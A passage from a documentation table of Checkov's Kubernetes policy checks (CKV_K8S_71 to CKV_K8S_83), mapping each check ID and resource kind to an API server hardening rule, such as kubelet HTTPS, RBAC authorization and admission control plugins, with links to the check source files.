[ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py) | | 353 | CKV_K8S_71 | resource | Job | Ensure that the --kubelet-https argument is set to true | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py) | | 354 | CKV_K8S_71 | resource | Pod | Ensure that the --kubelet-https argument is set to true | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py) | | 355 | CKV_K8S_71 | resource | PodTemplate | Ensure that the --kubelet-https argument is set to true | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py) | | 356 | CKV_K8S_71 | resource | ReplicaSet | Ensure that the --kubelet-https argument is set to true | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py) | | 357 | CKV_K8S_71 | resource | ReplicationController | Ensure that the --kubelet-https argument is set to true | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py) | | 358 | CKV_K8S_71 | resource | StatefulSet | Ensure that the --kubelet-https argument is set to true | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py) | | 359 | CKV_K8S_72 | resource | CronJob | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py) | | 360 | CKV_K8S_72 | resource | DaemonSet | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py) | | 361 | CKV_K8S_72 | resource | Deployment | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py) | | 362 | CKV_K8S_72 | resource | DeploymentConfig | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py) | | 363 | CKV_K8S_72 | resource | Job | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py) | | 364 | CKV_K8S_72 | resource | Pod | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py) | | 365 | CKV_K8S_72 | resource | PodTemplate | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py) | | 366 | CKV_K8S_72 | resource | ReplicaSet | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py) | | 367 | CKV_K8S_72 | resource | ReplicationController | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py) | | 368 | CKV_K8S_72 | resource | StatefulSet | Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate | Kubernetes | [ApiServerKubeletClientCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py) | | 369 | CKV_K8S_73 | resource | CronJob | Ensure that the --kubelet-certificate-authority argument is set as appropriate | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py) | | 370 | CKV_K8S_73 | resource | DaemonSet | Ensure that the --kubelet-certificate-authority argument is set as appropriate | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py) | | 371 | CKV_K8S_73 | resource | Deployment | Ensure that the --kubelet-certificate-authority argument is set as appropriate | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py) | | 372 | CKV_K8S_73 | resource | DeploymentConfig | Ensure that the --kubelet-certificate-authority argument is set as appropriate | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py) | | 373 | CKV_K8S_73 | resource | Job | Ensure that the --kubelet-certificate-authority argument is set as appropriate | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py) | | 374 | CKV_K8S_73 | resource | Pod | Ensure that the --kubelet-certificate-authority argument is set as appropriate | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py) | | 375 | CKV_K8S_73 | resource | PodTemplate | Ensure that the --kubelet-certificate-authority argument is set as appropriate | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py) | | 376 | CKV_K8S_73 | resource | ReplicaSet | Ensure that the --kubelet-certificate-authority argument is set as appropriate | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py) | | 377 | CKV_K8S_73 | resource | ReplicationController | Ensure that the --kubelet-certificate-authority argument is set as appropriate | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py) | | 378 | CKV_K8S_73 | resource | StatefulSet | Ensure that the --kubelet-certificate-authority argument is set as appropriate | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py) | | 379 | CKV_K8S_74 | resource | CronJob | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py) | | 380 | CKV_K8S_74 | resource | DaemonSet | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py) | | 381 | CKV_K8S_74 | resource | Deployment | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py) | | 382 | CKV_K8S_74 | resource | DeploymentConfig | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py) | | 383 | CKV_K8S_74 | resource | Job | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py) | | 384 | CKV_K8S_74 | resource | Pod | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py) | | 385 | CKV_K8S_74 | resource | PodTemplate | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py) | | 386 | CKV_K8S_74 | resource | ReplicaSet | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py) | | 387 | CKV_K8S_74 | resource | ReplicationController | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py) | | 388 | CKV_K8S_74 | resource | StatefulSet | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py) | | 389 | CKV_K8S_75 | resource | CronJob | Ensure that the --authorization-mode argument includes Node | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py) | | 390 | CKV_K8S_75 | resource | DaemonSet | Ensure that the --authorization-mode argument includes Node | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py) | | 391 | CKV_K8S_75 | resource | Deployment | Ensure that the --authorization-mode argument includes Node | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py) | | 392 | CKV_K8S_75 | resource | DeploymentConfig | Ensure that the --authorization-mode argument includes Node | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py) | | 393 | CKV_K8S_75 | resource | Job | Ensure that the --authorization-mode argument includes Node | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py) | | 394 | CKV_K8S_75 | resource | Pod | Ensure that the --authorization-mode argument includes Node | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py) | | 395 | CKV_K8S_75 | resource | PodTemplate | Ensure that the --authorization-mode argument includes Node | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py) | | 396 | CKV_K8S_75 | resource | ReplicaSet | Ensure that the --authorization-mode argument includes Node | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py) | | 397 | CKV_K8S_75 | resource | ReplicationController | Ensure that the --authorization-mode argument includes Node | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py) | | 398 | CKV_K8S_75 | resource | StatefulSet | Ensure that the --authorization-mode argument includes Node | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py) | | 399 | CKV_K8S_77 | resource | CronJob | Ensure that the --authorization-mode argument includes RBAC | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py) | | 400 | CKV_K8S_77 | resource | DaemonSet | Ensure that the --authorization-mode argument includes RBAC | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py) | | 401 | CKV_K8S_77 | resource | Deployment | Ensure that the --authorization-mode argument includes RBAC | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py) | | 402 | CKV_K8S_77 | resource | DeploymentConfig | Ensure that the --authorization-mode argument includes RBAC | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py) | | 403 | CKV_K8S_77 | resource | Job | Ensure that the --authorization-mode argument includes RBAC | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py) | | 404 | CKV_K8S_77 | resource | Pod | Ensure that the --authorization-mode argument includes RBAC | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py) | | 405 | CKV_K8S_77 | resource | PodTemplate | Ensure that the --authorization-mode argument includes RBAC | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py) | | 406 | CKV_K8S_77 | resource | ReplicaSet | Ensure that the --authorization-mode argument includes RBAC | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py) | | 407 | CKV_K8S_77 | resource | ReplicationController | Ensure that the --authorization-mode argument includes RBAC | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py) | | 408 | CKV_K8S_77 | resource | StatefulSet | Ensure that the --authorization-mode argument includes RBAC | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py) | | 409 | CKV_K8S_78 | resource | AdmissionConfiguration | Ensure that the admission control plugin EventRateLimit is set | Kubernetes | [ApiServerAdmissionControlEventRateLimit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlEventRateLimit.py) | | 410 | CKV_K8S_79 | resource | CronJob | Ensure that the admission control plugin AlwaysAdmit is not set | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py) | | 411 | CKV_K8S_79 | resource | DaemonSet | Ensure that the admission control plugin AlwaysAdmit is not set | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py) | | 412 | CKV_K8S_79 | resource | Deployment | Ensure that the admission control plugin AlwaysAdmit is not set | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py) | | 413 | CKV_K8S_79 | resource | DeploymentConfig | Ensure that the admission control plugin AlwaysAdmit is not set | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py) | | 414 | CKV_K8S_79 | resource | Job | Ensure that the admission control plugin AlwaysAdmit is not set | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py) | | 415 | CKV_K8S_79 | resource | Pod | Ensure that the admission control plugin AlwaysAdmit is not set | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py) | | 416 | CKV_K8S_79 | resource | PodTemplate | Ensure that the admission control plugin AlwaysAdmit is not set | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py) | | 417 | CKV_K8S_79 | resource | ReplicaSet | Ensure that the admission control plugin AlwaysAdmit is not set | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py) | | 418 | CKV_K8S_79 | resource | ReplicationController | Ensure that the admission control plugin AlwaysAdmit is not set | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py) | | 419 | CKV_K8S_79 | resource | StatefulSet | Ensure that the admission control plugin AlwaysAdmit is not set | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py) | | 420 | CKV_K8S_80 | resource | CronJob | Ensure that the admission control plugin AlwaysPullImages is set | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py) | | 421 | CKV_K8S_80 | resource | DaemonSet | Ensure that the admission control plugin AlwaysPullImages is set | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py) | | 422 | CKV_K8S_80 | resource | Deployment | Ensure that the admission control plugin AlwaysPullImages is set | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py) | | 423 | CKV_K8S_80 | resource | DeploymentConfig | Ensure that the admission control plugin AlwaysPullImages is set | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py) | | 424 | CKV_K8S_80 | resource | Job | Ensure that the admission control plugin AlwaysPullImages is set | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py) | | 425 | CKV_K8S_80 | resource | Pod | Ensure that the admission control plugin AlwaysPullImages is set | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py) | | 426 | CKV_K8S_80 | resource | PodTemplate | Ensure that the admission control plugin AlwaysPullImages is set | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py) | | 427 | CKV_K8S_80 | resource | ReplicaSet | Ensure that the admission control plugin AlwaysPullImages is set | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py) | | 428 | CKV_K8S_80 | resource | ReplicationController | Ensure that the admission control plugin AlwaysPullImages is set | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py) | | 429 | CKV_K8S_80 | resource | StatefulSet | Ensure that the admission control plugin AlwaysPullImages is set | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py) | | 430 | CKV_K8S_81 | resource | CronJob | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py) | | 431 | CKV_K8S_81 | resource | DaemonSet | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py) | | 432 | CKV_K8S_81 | resource | Deployment | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py) | | 433 | CKV_K8S_81 | resource | DeploymentConfig | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py) | | 434 | CKV_K8S_81 | resource | Job | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py) | | 435 | CKV_K8S_81 | resource | Pod | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py) | | 436 | CKV_K8S_81 | resource | PodTemplate | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py) | | 437 | CKV_K8S_81 | resource | ReplicaSet | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py) | | 438 | CKV_K8S_81 | resource | ReplicationController | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py) | | 439 | CKV_K8S_81 | resource | StatefulSet | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py) | | 440 | CKV_K8S_82 | resource | CronJob | Ensure that the admission control plugin ServiceAccount is set | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py) | | 441 | CKV_K8S_82 | resource | DaemonSet | Ensure that the admission control plugin ServiceAccount is set | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py) | | 442 | CKV_K8S_82 | resource | Deployment | Ensure that the admission control plugin ServiceAccount is set | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py) | | 443 | CKV_K8S_82 | resource | DeploymentConfig | Ensure that the admission control plugin ServiceAccount is set | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py) | | 444 | CKV_K8S_82 | resource | Job | Ensure that the admission control plugin ServiceAccount is set | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py) | | 445 | CKV_K8S_82 | resource | Pod | Ensure that the admission control plugin ServiceAccount is set | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py) | | 446 | CKV_K8S_82 | resource | PodTemplate | Ensure that the admission control plugin ServiceAccount is set | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py) | | 447 | CKV_K8S_82 | resource | ReplicaSet | Ensure that the admission control plugin ServiceAccount is set | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py) | | 448 | CKV_K8S_82 | resource | ReplicationController | Ensure that the admission control plugin ServiceAccount is set | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py) | | 449 | CKV_K8S_82 | resource | StatefulSet | Ensure that the admission control plugin ServiceAccount is set | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py) | | 450 | CKV_K8S_83 | resource | CronJob | Ensure that the admission control plugin NamespaceLifecycle is set | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py) | | 451 | CKV_K8S_83 | resource | DaemonSet | Ensure that the admission control plugin NamespaceLifecycle is set | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py) | | 452 | CKV_K8S_83 | resource | Deployment | Ensure that the admission control plugin NamespaceLifecycle is set | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py) | | 453 | CKV_K8S_83 | resource | DeploymentConfig | Ensure that the admission control plugin NamespaceLifecycle is set | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py) | | 454 | CKV_K8S_83 | resource | Job | Ensure that the admission control plugin NamespaceLifecycle is set | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py) | | 455 | CKV_K8S_83 | resource | Pod | Ensure that the admission control plugin NamespaceLifecycle is set | Kubernetes | 